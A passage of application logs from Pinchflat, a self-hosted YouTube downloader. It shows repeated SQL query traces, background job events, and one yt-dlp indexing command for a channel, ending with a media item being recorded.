livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:38:14.844 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:38:14.845 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:38:14.845 [debug] QUERY OK source="media_items" db=0.1ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 19:38:14.846 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:38:14.846 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:38:14.847 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 19:38:14.848 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:38:14.849 [info] Sent 200 in 11ms 19:38:17.845 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:47.847 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.196 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:08.701 [info] GET /sources 19:39:08.701 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 19:39:08.701 [debug] QUERY OK source="settings" db=0.2ms idle=1029.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:08.702 [debug] QUERY OK source="settings" db=0.1ms idle=919.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:08.702 [debug] QUERY OK source="settings" db=0.1ms idle=920.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:08.703 [debug] QUERY OK source="settings" db=0.1ms idle=920.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:08.703 [debug] QUERY OK source="settings" db=0.0ms idle=29.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:08.705 [debug] QUERY OK source="sources" db=1.8ms idle=1.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 19:39:08.708 [debug] QUERY OK source="sources" db=2.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 19:39:08.709 [info] Sent 200 in 8ms 19:39:17.850 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:47.852 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.197 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:17.854 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:47.856 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.198 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:17.858 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:47.860 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.199 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:17.862 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:47.864 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.200 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:17.866 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:43:47.868 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.201 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:17.870 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:47.872 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.202 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:17.874 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:47.876 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.203 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:17.878 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:47.880 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.204 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:17.882 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:47.884 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.205 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:17.886 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:47.888 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:49:00.206 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:11.398 [debug] Tzdata polling for update. 19:49:11.649 [debug] Tzdata polling shows the loaded tz database is up to date. 19:49:17.890 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:47.893 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:50:00.207 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:17.895 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:47.897 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.208 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:17.899 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:47.901 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.209 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:10.739 [info] {"args":{"id":1},"id":17082,"meta":{},"system_time":1787194330739119254,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:52:10.739 [debug] QUERY OK source="sources" db=0.2ms idle=956.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:10.739 [debug] QUERY OK source="settings" db=0.1ms idle=957.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.740 [debug] QUERY OK source="media_items" db=0.2ms idle=957.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:52:10.740 [debug] QUERY OK source="media_items" db=0.1ms idle=7.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:52:10.741 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:10.741 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.741 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.747 [debug] QUERY OK source="media_items" db=0.2ms idle=6.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 19:52:10.748 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:52:10.748 [debug] Current batch of media processed. Will check again in 1000ms 19:52:10.748 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.748 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.749 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:52:10.749 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/3d/c4/3dc4ab6cde1776c925979227fb712e8bbb9918380a518428b33a559b3dd63322.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/56/a8/56a84c7bd12c86959686dd92085acdfd7a16e05cec44d6897e1b27b37f764c04.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:52:11.749 [debug] Current batch of media processed. Will check again in 1000ms 19:52:12.750 [debug] Current batch of media processed. Will check again in 1000ms 19:52:13.751 [debug] Current batch of media processed. Will check again in 1000ms 19:52:14.752 [debug] Current batch of media processed. Will check again in 1000ms 19:52:15.753 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 19:52:15.754 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1971.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:15.754 [debug] QUERY OK source="sources" db=0.2ms idle=1972.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:15.755 [debug] QUERY OK source="media_items" db=0.2ms idle=1972.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 19:52:15.756 [debug] QUERY OK source="media_items" db=0.6ms idle=1018.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "69822247-1155-4b5a-89bf-858c6331d46d", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 02:52:15Z], ~U[2026-08-20 02:52:15Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 